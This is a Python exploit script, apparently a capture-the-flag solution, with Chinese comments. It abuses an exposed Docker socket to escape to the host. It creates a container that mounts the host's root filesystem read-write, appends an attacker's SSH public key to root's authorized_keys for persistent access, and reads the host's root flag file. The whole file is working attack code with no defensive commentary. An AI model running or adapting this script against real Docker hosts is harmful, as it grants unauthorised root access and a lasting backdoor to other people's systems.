#!/usr/bin/env python
# -*- coding: utf-8 -*-
# docker_ssh_inject.py
# 用途: 通过 Docker Unix socket 创建特权容器 → 挂载宿主机 → 写入 SSH 公钥 → 验证
# 兼容: Python 2.7 / Python 3.x
import socket, json, time

# ── 配置 ──
PUBKEY = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH25RsYEOAVKqxfiJJQNySRChGlxeEWwx0cKQpEsfU1A kali@kali"
SOCK_PATH = "/var/run/docker.sock"
IMAGE     = "telnet-server:latest"

def docker_api(method, path, body=None):
    """发送 Docker API 请求，返回 (headers, body_bytes, parsed_json)"""
    s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
    s.connect(SOCK_PATH)
    req = "{} {} HTTP/1.0\r\nHost: l\r\n".format(method, path)
    if body:
        req += "Content-Type: application/json\r\nContent-Length: {}\r\n".format(len(body))
    req += "\r\n"
    if body:
        req += body
    s.send(req.encode())
    resp = b""
    while True:
        chunk = s.recv(4096)
        if not chunk:
            break
        resp += chunk
    s.close()
    parts = resp.split(b"\r\n\r\n", 1)
    headers = parts[0]
    body_bytes = parts[1] if len(parts) > 1 else b""
    try:
        parsed = json.loads(body_bytes) if body_bytes else {}
    except ValueError:
        parsed = {}
    return headers, body_bytes, parsed

# ── 1. 创建特权容器 ──
print("[*] Creating privileged container...")
h, b, data = docker_api("POST", "/containers/create", json.dumps({
    "Image": IMAGE,
    "Cmd": ["/bin/sh", "-c", "sleep 300"],
    "HostConfig": {
        "Binds": ["/:/host:rw"],
        "NetworkMode": "host"
    }
}))
cid = data.get("Id")
if not cid:
    print("[-] Create failed: {}".format(b[:200]))
    exit(1)
print("[+] Created: {}".format(cid))

# ── 2. 启动容器 ──
print("[*] Starting container...")
docker_api("POST", "/containers/{}/start".format(cid))
time.sleep(3)

# ── 3. 写入 SSH 公钥 ──
print("[*] Injecting SSH public key...")
mkdir_cmd = (
    "mkdir -p /host/root/.ssh && "
    "echo '" + PUBKEY + "' >> /host/root/.ssh/authorized_keys && "
    "chmod 700 /host/root/.ssh && "
    "chmod 600 /host/root/.ssh/authorized_keys"
)
h, b, data = docker_api("POST", "/containers/{}/exec".format(cid), json.dumps({
    "AttachStdout": True, "AttachStderr": True,
    "Cmd": ["/bin/sh", "-c", mkdir_cmd]
}))
eid = data.get("Id")
if not eid:
    print("[-] Exec create failed: {}".format(b[:200]))
    exit(1)

# ── 4. 获取执行结果 ──
h, b, _ = docker_api("POST", "/exec/{}/start".format(eid), json.dumps({
    "Detach": False, "Tty": False
}))
print("[+] Write result: {}".format(b.decode("latin-1", errors="replace").encode("ascii","replace")[:200]))

# ── 5. 验证 SSH 公钥 ──
print("[*] Verifying SSH key...")
h, b, data = docker_api("POST", "/containers/{}/exec".format(cid), json.dumps({
    "AttachStdout": True, "AttachStderr": True,
    "Cmd": ["cat", "/host/root/.ssh/authorized_keys"]
}))
eid2 = data.get("Id")
if eid2:
    h, b, _ = docker_api("POST", "/exec/{}/start".format(eid2), json.dumps({
        "Detach": False, "Tty": False
    }))
    key_output = b.decode("latin-1", errors="replace")
    print("[+] SSH key on host:\n{}".format(key_output.encode("ascii","replace")))

# ── 6. 读取宿主机 flag ──
print("[*] Reading host flag...")
h, b, data = docker_api("POST", "/containers/{}/exec".format(cid), json.dumps({
    "AttachStdout": True, "AttachStderr": True,
    "Cmd": ["cat", "/host/root/root.txt"]
}))
eid3 = data.get("Id")
if eid3:
    h, b, _ = docker_api("POST", "/exec/{}/start".format(eid3), json.dumps({
        "Detach": False, "Tty": False
    }))
    flag = b.decode("latin-1", errors="replace")
    print("[+] Flag: {}".format(flag[-200:].encode("ascii","replace")))

print("[*] Done! Container {}... kept alive for 300s".format(cid[:12]))